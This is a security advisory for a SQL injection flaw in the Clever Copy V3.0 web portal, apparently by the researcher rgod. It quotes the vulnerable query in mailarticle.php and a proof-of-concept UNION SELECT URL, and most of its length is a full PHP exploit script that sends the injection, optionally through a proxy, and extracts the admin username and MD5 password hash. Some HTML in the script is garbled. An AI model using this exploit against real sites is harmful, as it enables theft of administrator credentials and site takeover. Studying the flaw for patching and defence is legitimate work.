- Clever Copy <= V3.0 SQL injection / Admin authentication details disclosure - software: site: http://clevercopy.bestdirectbuy.com/ description: "Clever Copy is a free, fully scalable web site portal and news posting system. It is easy to setup, use and maintain requiring no previous knowledge of web portals, blogs, php, Cms's or databases [..]" -------------------------------------------------------------------------------- i) if magic_quotes_gpc = Off -> SQL injection vulnerable code in mailarticle.php 11-12 ... $getnews="SELECT * from CC_news where entryid='$ID'"; $getnews2=mysql_query($getnews) or die("Could not get blog"); ... "ID" var is not properly sanitized before to be used in a SQL query, poc: http://[target]/[path]/mailarticle.php?ID='UNION%20SELECT%200,0,0,0,0,0,username,password,0,0,0,0,0,0,0,0,0%20FROM%20CC_admin/* now, at screen, you have admin authentication details -------------------------------------------------------------------------------- exploit: this works with magic_quotes_gpc = Off # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu: "While heading the profit of my counsel, avail yourself also of # # any helpful circumstances over and beyond the ordinary rules" # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 5); ob_implicit_flush (1); echo'**********Clever Copy V3.0 SQL injection***************

**********Clever Copy V3.0 SQL injection***************

a script by rgod at http://retrogod.altervista.org

* hostname (ex:www.sitename .com)

* path (ex:/clevercopy/ or just / )

specify a table prefix (default value: CC_)

specify a port other than 80 (default value)

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo ''; while ($ii <= strlen($headeri)-1){ $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) { echo ""; } else { echo " "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //2x speed { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid prozy...';die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock);echo nl2br(htmlentities($html)); } $host=$_POST[host]; $port=$_POST[port]; $path=$_POST[path]; $proxy=$_POST[proxy]; $prefix=$_POST[prefix]; if (($host<>'') and ($path<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if ($prefix=='') {$prefix="CC_";} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); $SQL ="'UNION SELECT 0,0,0,0,0,0,concat('***ADMIN***:',username,'***'),concat"; $SQL.="('***MD5_PWD_HASH***:',password,'***'),0,0,0,0,0,0,0,0,0 FROM ".$prefix."admin/*"; $SQL=urlencode($SQL); $packet="GET ".$p."mailarticle.php?ID=$SQL HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="User-Agent: Digger/1.0 JDK/1.3.0rc3\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); $temp=explode("***ADMIN***:",$html); $temp2=explode("***",$temp[1]); echo ""; echo "ADMIN: ".htmlentities($temp2[0]); echo "
"; $temp=explode("***MD5_PWD_HASH***:",$html); $temp2=explode("***",$temp[1]); echo "MD5 HASH: ".htmlentities($temp2[0]); echo "
"; echo "
"; if ($temp2[0]<>'') {echo "Exploit succeeded...";} else {echo "Exploit failed...";} } else {echo "Fill * required fields, optionally specify a proxy...";} ?> -------------------------------------------------------------------------------- rgod site: http://retrogod.altervista.org mail: rgod at autistici org original adivsory: http://retrogod.altervista.org/Clever_Copy_V3_sql_xpl.html --------------------------------------------------------------------------------